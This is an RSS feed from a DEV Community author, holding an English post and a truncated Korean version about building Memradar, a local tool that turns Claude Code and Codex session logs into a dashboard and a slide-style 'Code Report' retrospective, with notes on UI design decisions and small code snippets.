<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: 김이더</title>
    <description>The latest articles on DEV Community by 김이더 (@_53fb7c03dd741a6124e4e).</description>
    <link>https://dev.to/_53fb7c03dd741a6124e4e</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3805054%2F1dd90bc3-aa4f-4db2-901c-4b52816158cb.png</url>
      <title>DEV Community: 김이더</title>
      <link>https://dev.to/_53fb7c03dd741a6124e4e</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/_53fb7c03dd741a6124e4e"/>
    <language>en</language>
    <item>
      <title>I Built My Own Year-End Review for AI Coding — Memradar Code Report</title>
      <dc:creator>김이더</dc:creator>
      <pubDate>Fri, 17 Apr 2026 07:54:21 +0000</pubDate>
      <link>https://dev.to/_53fb7c03dd741a6124e4e/i-built-my-own-year-end-review-for-ai-coding-memradar-code-report-1le3</link>
      <guid>https://dev.to/_53fb7c03dd741a6124e4e/i-built-my-own-year-end-review-for-ai-coding-memradar-code-report-1le3</guid>
      <description>&lt;p&gt;Live app at &lt;a href="https://memradar.vercel.app" rel="noopener noreferrer"&gt;memradar.vercel.app&lt;/a&gt;. Code on &lt;a href="https://github.com/on1659/memradar" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;br&gt;
More posts at &lt;a href="https://radarlog.kr" rel="noopener noreferrer"&gt;radarlog.kr&lt;/a&gt;.&lt;/p&gt;



&lt;p&gt;Every December Cursor pops up with something like "you coded X hours this year, across these languages." GitHub drops Year in Review. Discord puts yearly stats on your profile.&lt;/p&gt;

&lt;p&gt;The numbers are all mine, but flipping through them, I catch myself smiling — "oh, that's how I was." That's what a year-end review does. It's not information delivery — it's a &lt;strong&gt;ritual that pulls out one number at a time.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I wanted that for myself. Claude Code and Codex drop JSONL logs into my home directory every day (&lt;code&gt;~/.claude/projects/&lt;/code&gt;, &lt;code&gt;~/.codex/sessions/&lt;/code&gt;), and I had never looked inside. My conversations are on my disk, and I couldn't read them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Memradar&lt;/strong&gt; is a local tool that turns those JSONLs into a retrospective. One line (&lt;code&gt;npx memradar&lt;/code&gt;), a browser opens, and along with the dashboard there's a full-screen slide retrospective — &lt;strong&gt;Code Report&lt;/strong&gt; — built in.&lt;/p&gt;

&lt;p&gt;This post is about the details I got obsessive about while building it. The idea is simple, but making people actually &lt;em&gt;feel&lt;/em&gt; something while looking at their own data took a lot of small calls.&lt;/p&gt;
&lt;h2&gt;
  
  
  It had to be Code Report, not Wrapped
&lt;/h2&gt;

&lt;p&gt;When I first built the full-screen retrospective feature, I called it "Wrapped" internally. The folder is still &lt;code&gt;src/components/wrapped/&lt;/code&gt;. Spotify Wrapped was the reference, so the name stuck.&lt;/p&gt;

&lt;p&gt;But shipping a product literally named "Wrapped" has problems. You're borrowing someone else's brand. The word also pins the feature to "year-end summary" as a category.&lt;/p&gt;

&lt;p&gt;While renaming, I wrote this principle into &lt;code&gt;docs/UI-UX-PRINCIPLES.md&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;9. The dashboard and the Code Report are two moods
   of the same product
- The dashboard is for exploration; the Code Report is
  for emotional retrospective and sharing.
- The Code Report uses its own palette, its own typography,
  and full-screen narrative.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same data, but &lt;strong&gt;the dashboard should feel like an "analysis tool" — calm — while the Code Report should lean into emotion, like a "retrospective experience."&lt;/strong&gt; I separated the palettes and typography so the two screens don't bleed into each other.&lt;/p&gt;

&lt;p&gt;So the name became Code Report. A report &lt;em&gt;on&lt;/em&gt; the code (my AI coding logs). Not tied to a fixed calendar moment — it's &lt;strong&gt;a screen that's a retrospective whenever you open it&lt;/strong&gt;. Wrapped happens once a year; Code Report opens whenever I need it.&lt;/p&gt;

&lt;p&gt;I kept the folder name (&lt;code&gt;wrapped/&lt;/code&gt;) as-is. Renaming internal variables carries too much refactor risk for no real benefit — only the product-facing name got locked to Code Report. That split itself is a small lesson: the inside and the outside of the same feature can have different names.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the dashboard alone wasn't enough
&lt;/h2&gt;

&lt;p&gt;The dashboard came first, naturally. Heatmap, hourly chart, word cloud, session browser. Every metric on one screen.&lt;/p&gt;

&lt;p&gt;I loaded my own logs. The numbers were all there. And I felt &lt;strong&gt;nothing&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That's the dashboard ceiling. Lots of information, zero emotion. You nod and close the tab. The reason Cursor's year-end review makes people laugh with the same kind of data is that &lt;strong&gt;each screen shows one number.&lt;/strong&gt; The space around that number is empty on purpose.&lt;/p&gt;

&lt;p&gt;I locked in a composition principle for Code Report — "one scene, one message." From &lt;code&gt;docs/UI-UX-PRINCIPLES.md&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;- Here, "one scene, one message" matters more
  than the dashboard's rules.
- Full-screen, heavy whitespace, big type,
  a dedicated dark story palette.
- End with a shareable image —
  the end of the emotional arc is also the call to action.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are eight slides. Intro with the first session date. Total prompts. Favorite model. Coding hours. Top tools ranking. Personality type. Usage. Shareable card at the end.&lt;/p&gt;

&lt;p&gt;Each slide holds one number or one message. "I talked to Claude 3,200 times" as a small figure in a dashboard corner is one thing. "3,200" counting up on an empty slide is completely another. Same data.&lt;/p&gt;

&lt;p&gt;That was the first obsession. &lt;strong&gt;How do you make a number be felt, not just read?&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Why I scrapped 4 personality types for 8
&lt;/h2&gt;

&lt;p&gt;The climax of Code Report is the personality slide. I started with four: Architect, Speed Runner, Explorer, Night Sage.&lt;/p&gt;

&lt;p&gt;After a couple of runs on different logs, everyone said some version of "...I don't think I'm any of those." MBTI works because its four axes are computed independently — you're I, and N, and F, and P — all at once — which is how INFP appears. One axis (pick one of four buckets) is always going to be coarse.&lt;/p&gt;

&lt;p&gt;So I rewrote it as three axes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;style × scope × rhythm
 ↓       ↓        ↓
care    depth    pace
  8 combinations
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The combinations yield names like "Deep-Sea Diver," "Lightning Fixer," "Chaos Creator." Because each axis is computed separately, the result feels more personal.&lt;/p&gt;

&lt;p&gt;Half a day burned on this. The four types weren't wrong — &lt;strong&gt;the feeling of reading the result was weak&lt;/strong&gt;. That's what matters most in Code Report. Before "correct," the viewer has to chuckle and think "yeah, that's me."&lt;/p&gt;

&lt;p&gt;I kept tuning the personality logic against real data. Did my logs produce a result that felt right for me? Did a friend's logs produce something that fit them? Move one threshold and everything shifts. I calibrated that dozens of times.&lt;/p&gt;

&lt;h2&gt;
  
  
  That 2.5-second delay on the last slide
&lt;/h2&gt;

&lt;p&gt;Commit title: &lt;code&gt;Fix last slide dashboard prompt timing&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The problem: on the share-card slide, tapping the screen opens a "Go to dashboard?" modal. But people flip through Code Report with a rhythm — tap, tap, tap — and that same rhythm triggers the modal the moment they land on the last slide. They never even see the share card.&lt;/p&gt;

&lt;p&gt;Most people would shrug at this. But once it happened to me, I couldn't unsee it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;setDashboardPromptReady&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;slideIndex&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;lastSlideIndex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;timer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;setDashboardPromptReady&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;2500&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clearTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;timer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;lastSlideIndex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;slideIndex&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When you enter the last slide, &lt;code&gt;dashboardPromptReady&lt;/code&gt; stays false for 2.5 seconds. Tap all you want — the modal won't open. I even changed the cursor to &lt;code&gt;default&lt;/code&gt; during that window. The mouse cursor itself signals "not yet."&lt;/p&gt;

&lt;p&gt;Writing it, I asked myself: is this really needed? The user won't even notice.&lt;/p&gt;

&lt;p&gt;And that's &lt;strong&gt;exactly the point.&lt;/strong&gt; Same idea as locking input for a few frames right after a cutscene ends in games. You prevent the player's "skip button rhythm" from triggering something they didn't mean to. When it bites, it feels awful; when it's handled, nobody notices. Nobody noticing is the win.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why 20 themes?
&lt;/h2&gt;

&lt;p&gt;Memradar ships with 20 themes. Four backgrounds (Dark, AMOLED, Light, Warm) × five accents (Indigo, Violet, Teal, Rose, Amber).&lt;/p&gt;

&lt;p&gt;Why so many? Same reason as everything else — it's about feel.&lt;/p&gt;

&lt;p&gt;Flipping through Code Report is &lt;strong&gt;personal.&lt;/strong&gt; It's me looking at my own coding log. I don't want to use someone else's dark theme — I want to pick my own mood. Unlike Cursor's year-end review where the palette is fixed, if I'm the one building it, I should be able to choose.&lt;/p&gt;

&lt;p&gt;The four backgrounds are calculated, too. Dark as the default. AMOLED for a true black on OLED screens. Light for a bright café. Warm for evening. The right pick changes with the situation.&lt;/p&gt;

&lt;p&gt;Fonts are pinned to Noto Sans KR + Noto Serif KR. The UI shows a lot of Hangul, so the Korean has to look right first. I didn't pick an English-first font. I code mostly in Korean, my prompts are mostly Korean, and the Code Report that reads those has to look good in Korean.&lt;/p&gt;

&lt;p&gt;localStorage preserves the choice across visits. Obvious, but forgetting it is the kind of thing that screams amateur.&lt;/p&gt;

&lt;h2&gt;
  
  
  The decisions packed into one heatmap
&lt;/h2&gt;

&lt;p&gt;A GitHub-style daily activity heatmap. Here are the calls inside that single widget.&lt;/p&gt;

&lt;p&gt;First, &lt;strong&gt;responsive cell size.&lt;/strong&gt; Cells auto-grow and shrink with container width. A &lt;code&gt;ResizeObserver&lt;/code&gt; watches the container; on change, cell size is recomputed and the grid rerenders. I started with fixed sizes, then watched the heatmap get clipped on a smaller laptop and rebuilt it.&lt;/p&gt;

&lt;p&gt;Second, &lt;strong&gt;click-to-pin a date.&lt;/strong&gt; Clicking a cell shows that day's session summary in a side panel. Hover-only worked on desktop but died on mobile, and "pinning" a day on desktop lets you actually dig in.&lt;/p&gt;

&lt;p&gt;Third, &lt;strong&gt;streak counter.&lt;/strong&gt; "How many days in a row." I debated where to place it, and landed on the heatmap's side panel. Not trying to gamify like Duolingo — just a passive "huh, 15 straight days this month" when your eyes already land on the heatmap.&lt;/p&gt;

&lt;p&gt;Fourth, &lt;strong&gt;day-of-week pattern.&lt;/strong&gt; Which weekday I code the most, tucked small on the side. I thought about cutting it. Then I noticed I work weekends way more than I thought. That's the Code Report flavor — surfacing a pattern I didn't see.&lt;/p&gt;

&lt;p&gt;Four decisions inside one widget. Same story for the word cloud, the hourly chart, the token chart.&lt;/p&gt;

&lt;h2&gt;
  
  
  How many times I rewrote the DropZone wording
&lt;/h2&gt;

&lt;p&gt;The most obsessive stretch was the landing page DropZone. The commit log has four wording fixes for one component:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;- Replace copy-paste wording with Ctrl+C/V shortcut
- Use Ctrl+C/V/Enter wording consistently in DropZone
- Allow .claude/.codex root folder drop and add install guide link
- Fix DropZone wording: shorten Ctrl+C/V label
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One at a time. First, "copy and paste" was the original wording — but it's long in both languages. Two shortcuts side by side make the action click in half a second.&lt;/p&gt;

&lt;p&gt;Second was consistency. "Ctrl+C/V" in some places, "copy/paste" left in others. Mixed vocabulary annoys people.&lt;/p&gt;

&lt;p&gt;Third, accept the &lt;code&gt;.claude&lt;/code&gt; folder itself. Originally you had to drop the inner &lt;code&gt;.claude/projects/&lt;/code&gt;. But users naturally drag &lt;code&gt;.claude&lt;/code&gt; from their home. So the drop handler digs one level deeper when it sees &lt;code&gt;.claude&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;droppedFolder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.claude&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;projectsDir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;findChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;droppedFolder&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;projects&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;projectsDir&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;scanDir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;projectsDir&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fourth, wording again. The "Ctrl+C/V" label had a redundant prefix stuck in front, so I shortened it.&lt;/p&gt;

&lt;p&gt;Four passes on one component's copy. Over the top? Maybe. But the DropZone is the first screen a user sees. If they can't figure out &lt;strong&gt;what to do in five seconds&lt;/strong&gt;, the rest doesn't matter.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bilingual support turned out to be a big call
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;i18n (ko/en), theme presets, and hash routing&lt;/code&gt;. Three things landed in one commit.&lt;/p&gt;

&lt;p&gt;I added bilingual support partly because I publish this blog in both Korean and English. But there's a bigger reason. &lt;strong&gt;The copy in Code Report is emotional.&lt;/strong&gt; "You're a Night Owl." "You started 3,200 conversations this month." If those only exist in English, the joy gets cut in half for Korean readers.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/i18n.tsx&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;translations&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;ko&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;personality.nightSage&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;새벽의 현자&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;personality.speedRunner&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;번개 해결사&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;en&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;personality.nightSage&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Night Sage&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;personality.speedRunner&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Lightning Fixer&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Translating Night Sage as "새벽의 현자" (sage of the dawn, not just night) and Lightning Fixer as "번개 해결사" wasn't literal — I picked each Korean name so &lt;strong&gt;it lands at the same temperature&lt;/strong&gt; the English version does. Writing the eight personality names in both languages took hours.&lt;/p&gt;

&lt;p&gt;Hash routing shipped alongside for a concrete reason: sharing Code Report links means state has to live in the URL. &lt;code&gt;#wrapped/5&lt;/code&gt; puts the slide index right there. Refreshing keeps you on the same slide.&lt;/p&gt;

&lt;h2&gt;
  
  
  The moment I threw single-HTML away
&lt;/h2&gt;

&lt;p&gt;The biggest technical call was flipping the CLI from single-HTML to a local server.&lt;/p&gt;

&lt;p&gt;Originally the CLI parsed every JSONL, serialized the result to JSON, inlined it into a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag, and produced a single giant HTML file. No server, works offline, one file to open. Clean.&lt;/p&gt;

&lt;p&gt;Then my &lt;code&gt;.claude/projects/&lt;/code&gt; grew up. The HTML passed 18MB. The browser froze for 4-5 seconds just running &lt;code&gt;JSON.parse&lt;/code&gt;. Code Report was already dead before it started.&lt;/p&gt;

&lt;p&gt;So I flipped it. A local server on port 3939 (&lt;code&gt;http.createServer&lt;/code&gt;) plus &lt;code&gt;/api/sessions&lt;/code&gt; streaming. The browser pulls a 0.6MB app bundle first. Sessions arrive in batches of ten from the server. Session bodies load only on click.&lt;/p&gt;

&lt;p&gt;It's the same shift as whole-world loading vs level streaming in UE5. You used to load the entire map into RAM. Modern open worlds stream only chunks near the player. Disk holds everything; RAM holds only what's needed. Exactly that move.&lt;/p&gt;

&lt;p&gt;I kept single-HTML around behind a &lt;code&gt;--static&lt;/code&gt; flag. For a handful of sessions, single-HTML is still the simplest thing that works. Pick based on the situation.&lt;/p&gt;

&lt;h2&gt;
  
  
  The name Memradar — and the one line
&lt;/h2&gt;

&lt;p&gt;The first name was Promptale. Prompt plus tale. Emotional but doesn't tell you what the tool does.&lt;/p&gt;

&lt;p&gt;Memradar made the intent concrete. Mem (memory) plus Radar. A radar sweeping over my memory. It also ties into my blog (radarlog.kr), so the brand carries across. And inside lives Code Report as its own screen. The product name and the feature name each do their own job.&lt;/p&gt;

&lt;p&gt;To try it locally, it's one line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx memradar
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It auto-scans &lt;code&gt;~/.claude/projects/&lt;/code&gt; and &lt;code&gt;~/.codex/sessions/&lt;/code&gt;, opens the browser into the dashboard. From there, opening Code Report kicks off the full-screen retrospective. Everything stays local. Nothing gets sent anywhere.&lt;/p&gt;

&lt;p&gt;There's a web version too. At &lt;a href="https://memradar.vercel.app" rel="noopener noreferrer"&gt;memradar.vercel.app&lt;/a&gt; you can drag the &lt;code&gt;.claude&lt;/code&gt; folder straight in.&lt;/p&gt;

&lt;p&gt;The first time I looked at my own logs through this, what hit me was &lt;strong&gt;how much more I'd been talking to Claude than I realized.&lt;/strong&gt; And how focused I was late at night. Seeing it as numbers, it finally clicked: "so this is how I've been living."&lt;/p&gt;

&lt;p&gt;That's the point of Code Report. Take the conversations I left behind — and let me look back on them.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"My logs were on my disk the whole time. I just wasn't looking."&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>ai</category>
      <category>sideprojects</category>
      <category>devlog</category>
      <category>claudecode</category>
    </item>
    <item>
      <title>내 AI 코딩 연말결산을 직접 만들었다 — Memradar Code Report</title>
      <dc:creator>김이더</dc:creator>
      <pubDate>Fri, 17 Apr 2026 07:54:21 +0000</pubDate>
      <link>https://dev.to/_53fb7c03dd741a6124e4e/nae-ai-koding-yeonmalgyeolsaneul-jigjeob-mandeuleossda-memradar-code-report-2nb1</link>
      <guid>https://dev.to/_53fb7c03dd741a6124e4e/nae-ai-koding-yeonmalgyeolsaneul-jigjeob-mandeuleossda-memradar-code-report-2nb1</guid>
      <description>&lt;p&gt;앱은 &lt;a href="https://memradar.vercel.app" rel="noopener noreferrer"&gt;memradar.vercel.app&lt;/a&gt;에서, 코드는 &lt;a href="https://github.com/on1659/memradar" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;에 있다.&lt;br&gt;
더 많은 글은 &lt;a href="https://radarlog.kr" rel="noopener noreferrer"&gt;radarlog.kr&lt;/a&gt;에서.&lt;/p&gt;



&lt;p&gt;매년 연말이 되면 Cursor가 "올해 너는 몇 시간 코딩했고, 어떤 언어를 얼마나 썼고" 하는 회고를 띄운다. GitHub도 Year in Review를 낸다. Discord도 프로필에 연간 통계가 뜬다.&lt;/p&gt;

&lt;p&gt;숫자는 내 것인데, 페이지를 넘기다 보면 "아 나 이랬구나" 하고 웃게 된다. 이게 연말결산의 힘이다. 정보 전달이 아니라 &lt;strong&gt;한 장면에 한 숫자씩 꺼내놓는 의식&lt;/strong&gt;이다.&lt;/p&gt;

&lt;p&gt;나도 그게 필요했다. Claude Code와 Codex가 내 홈 디렉터리(&lt;code&gt;~/.claude/projects/&lt;/code&gt;, &lt;code&gt;~/.codex/sessions/&lt;/code&gt;)에 매일 JSONL 로그를 쌓는데, 정작 그 안을 들여다본 적이 없다. 내 대화가 내 디스크에 있는데, 내가 못 읽는다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Memradar&lt;/strong&gt;는 그 JSONL을 회고로 바꿔주는 로컬 툴이다. &lt;code&gt;npx memradar&lt;/code&gt; 한 줄이면 브라우저가 뜨고, 대시보드와 함께 풀스크린 슬라이드 회고 — &lt;strong&gt;Code Report&lt;/strong&gt;가 같이 들어있다.&lt;/p&gt;

&lt;p&gt;이 글은 Memradar를 만들면서 집요하게 매달린 디테일에 대한 기록이다. 아이디어는 단순하지만, 사람이 "재밌다"고 느끼게 만드는 데는 결정 하나하나가 다 필요했다.&lt;/p&gt;
&lt;h2&gt;
  
  
  Wrapped가 아니라 Code Report여야 했다
&lt;/h2&gt;

&lt;p&gt;처음 풀스크린 회고 기능을 만들면서 내부적으로 "Wrapped"라고 불렀다. 코드 폴더 이름도 &lt;code&gt;src/components/wrapped/&lt;/code&gt;로 시작했다. Spotify Wrapped가 레퍼런스였으니까 자연스럽게 그렇게 됐다.&lt;/p&gt;

&lt;p&gt;근데 제품 이름으로 Wrapped를 그대로 쓰면 문제가 있다. 남의 브랜드 용어를 빌려 쓰는 셈이다. 또 Wrapped라는 말은 "연말결산"이라는 범주로만 읽힌다.&lt;/p&gt;

&lt;p&gt;이름을 다시 잡으면서 &lt;code&gt;docs/UI-UX-PRINCIPLES.md&lt;/code&gt;에 이런 원칙을 못 박았다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;9. 대시보드와 Code Report는 같은 제품의 다른 무드다
- 대시보드는 정보 탐색, Code Report는 감정적 회고와 공유를 담당한다.
- Code Report는 독립 팔레트와 전용 타이포,
  풀스크린 내러티브를 사용한다.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;같은 데이터를 다루지만, &lt;strong&gt;대시보드는 "분석 툴"처럼 침착해야 하고 Code Report는 "회고 경험"처럼 감정선을 강화해도 된다&lt;/strong&gt;고 적었다. 두 화면이 무드에서 섞이지 않도록 팔레트와 타이포그래피를 분리했다.&lt;/p&gt;

&lt;p&gt;그래서 이름이 Code Report가 됐다. 코드(내 AI 코딩 로그)에 대한 리포트. 연말결산이라는 고정된 시점이 아니라 &lt;strong&gt;언제 열어도 회고가 되는 화면&lt;/strong&gt;이라는 걸 이름에 담고 싶었다. Wrapped는 1년에 한 번이지만, Code Report는 내가 필요할 때마다 열 수 있다.&lt;/p&gt;

&lt;p&gt;코드상의 폴더명(&lt;code&gt;wrapped/&lt;/code&gt;)은 그대로 뒀다. 내부 변수명까지 갈아엎는 건 리팩터링 리스크가 크고, 외부에 노출되는 제품 이름만 Code Report로 고정했다. 이 구분 자체가 "같은 기능의 안과 밖을 다르게 부를 수 있다"는 작은 교훈이다.&lt;/p&gt;

&lt;h2&gt;
  
  
  왜 대시보드만으로는 부족했나
&lt;/h2&gt;

&lt;p&gt;당연히 대시보드부터 만들었다. 히트맵, 시간대별 차트, 워드클라우드, 세션 브라우저. 모든 지표가 한 화면에 다 있다.&lt;/p&gt;

&lt;p&gt;완성하고 내 로그를 띄워봤다. 숫자가 다 있었다. 근데 &lt;strong&gt;아무 감정도 안 들었다.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;이게 대시보드의 한계다. 정보는 많은데, 보는 사람은 "음 그렇구나" 하고 창을 닫는다. 같은 데이터로 Cursor 연말결산이 사람들을 웃게 만드는 건, &lt;strong&gt;한 화면에 한 숫자만&lt;/strong&gt; 올라와서다. 그 숫자를 둘러싼 공간이 다 비어있기 때문이다.&lt;/p&gt;

&lt;p&gt;Code Report의 구성 원칙을 "한 장면 한 메시지"로 잡았다. &lt;code&gt;docs/UI-UX-PRINCIPLES.md&lt;/code&gt;에 이렇게 적어뒀다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;- 여기서는 "대시보드 규칙"보다 "한 장면 한 메시지"가 더 중요하다.
- 풀스크린, 강한 여백, 큰 타이포,
  전용 다크 스토리 팔레트를 사용한다.
- 마지막은 공유 가능 이미지로 닫는다.
  즉, 감정선의 끝이 곧 행동 유도여야 한다.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



